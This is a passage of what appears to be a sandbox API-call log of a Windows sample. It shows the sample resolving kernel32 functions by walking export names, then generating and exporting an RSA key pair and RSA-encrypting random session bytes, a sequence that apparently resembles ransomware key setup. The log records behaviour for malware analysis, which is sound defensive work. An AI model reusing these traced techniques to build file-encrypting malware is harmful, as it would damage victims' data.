lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0053.807] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0053.807] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0053.807] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0053.807] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0053.807] lstrlenA (lpString="CREATEJOBSET") returned 12 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0053.807] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0053.807] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0053.807] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0053.807] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0053.807] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0053.807] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0053.807] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0053.807] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0053.807] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0053.807] lstrlenA (lpString="CREATEPIPE") returned 10 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0053.807] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0053.808] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0053.808] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0053.808] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0053.808] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0053.808] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0053.808] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0053.808] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0053.808] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0053.808] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0053.808] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0053.808] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0053.808] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0053.808] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0053.808] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0053.808] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0053.808] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0053.808] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0053.808] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0053.808] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0053.808] lstrlenA (lpString="CREATETHREAD") returned 12 [0053.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401c50, lpParameter=0x2af0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc [0053.820] lstrlenA (lpString="kernel32.dll") returned 12 [0053.820] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.820] lstrcpyA (in: lpString1=0x34eaac, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.820] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.821] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.821] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.821] lstrlenA (lpString="ADDATOMA") returned 8 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.821] lstrlenA (lpString="ADDATOMW") returned 8 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.821] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.821] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.821] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.821] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.821] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.821] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.821] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.821] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.821] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.821] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.821] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.821] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.821] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.821] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.821] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.821] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.821] lstrcpyA (in: lpString1=0x34eaac, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.821] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.822] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.822] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.822] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.822] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.822] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.822] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.822] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.822] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.822] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.822] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.822] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.822] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.822] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.822] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.822] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.822] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.822] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.822] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.822] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.822] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.822] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.822] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.823] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.823] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.823] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.823] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.823] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.823] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.823] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.823] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.823] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.823] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.823] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.823] lstrlenA (lpString="BEEP") returned 4 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.823] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.823] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.823] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.823] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.823] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.823] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.823] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.823] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.823] lstrcpyA (in: lpString1=0x34eaac, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.823] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.824] lstrcpyA (in: lpString1=0x34eaac, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.824] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.824] lstrcpyA (in: lpString1=0x34eaac, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.824] lstrcpyA (in: lpString1=0x34eaac, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.824] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x630004 | out: pszPath="C:\\ProgramData") returned 0x0 [0054.225] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\foo.db" | out: lpString1="C:\\ProgramData\\foo.db") returned="C:\\ProgramData\\foo.db" [0054.225] CreateFileW (lpFileName="C:\\ProgramData\\foo.db" (normalized: "c:\\programdata\\foo.db"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.225] CryptAcquireContextW (in: phProv=0x34e8c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x34e8c8*=0x67da80) returned 1 [0054.231] CryptGenKey (in: hProv=0x67da80, Algid=0xa400, dwFlags=0x8000001, phKey=0x34e8bc | out: phKey=0x34e8bc*=0x66cdd8) returned 1 [0055.088] CryptExportKey (in: hKey=0x66cdd8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x34e8c4 | out: pbData=0x0*, pdwDataLen=0x34e8c4*=0x114) returned 1 [0055.088] VirtualAlloc (lpAddress=0x0, dwSize=0x115, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0055.089] CryptExportKey (in: hKey=0x66cdd8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2eb0000, pdwDataLen=0x34e8c4 | out: pbData=0x2eb0000*, pdwDataLen=0x34e8c4*=0x114) returned 1 [0055.089] CryptExportKey (in: hKey=0x66cdd8, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x0, pdwDataLen=0x34e8c0 | out: pbData=0x0*, pdwDataLen=0x34e8c0*=0x494) returned 1 [0055.089] VirtualAlloc (lpAddress=0x0, dwSize=0x494, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0055.089] CryptExportKey (in: hKey=0x66cdd8, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x34e8c0 | out: pbData=0x2ec0000*, pdwDataLen=0x34e8c0*=0x494) returned 1 [0055.090] CryptDestroyKey (hKey=0x66cdd8) returned 1 [0055.090] CryptReleaseContext (hProv=0x67da80, dwFlags=0x0) returned 1 [0055.090] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2ed0000 [0055.090] CryptAcquireContextW (in: phProv=0x2ed0004, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2ed0004*=0x67da80) returned 1 [0055.091] CryptImportKey (in: hProv=0x67da80, pbData=0x704b8, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x2ed0008 | out: phKey=0x2ed0008*=0x66cdd8) returned 1 [0055.091] CryptGenRandom (in: hProv=0x67da80, dwLen=0x20, pbBuffer=0x34e85c | out: pbBuffer=0x34e85c) returned 1 [0055.091] CryptGenRandom (in: hProv=0x67da80, dwLen=0x8, pbBuffer=0x34e87c | out: pbBuffer=0x34e87c) returned 1 [0055.091] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34ed84*, pdwDataLen=0x34e8c4*=0x20, dwBufLen=0x100 | out: pbData=0x34ed84*, pdwDataLen=0x34e8c4*=0x100) returned 1 [0055.092] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34ee84*, pdwDataLen=0x34e8c4*=0x8, dwBufLen=0x100 | out: pbData=0x34ee84*, pdwDataLen=0x34e8c4*=0x100) returned 1 [0055.092] CryptDestroyKey (hKey=0x66cdd8) returned 1 [0055.092] CryptReleaseContext (hProv=0x67da80, dwFlags=0x0) returned 1 [0055.092] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.092] lstrlenA (lpString="kernel32.dll") returned 12 [0055.093] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.093] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.093] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.093] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.093] lstrcpyA (in: lpString1=0x34db04, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.093] lstrlenA (lpString="ADDATOMA") returned 8 [0055.093] lstrcpyA (in: lpString1=0x34db04, 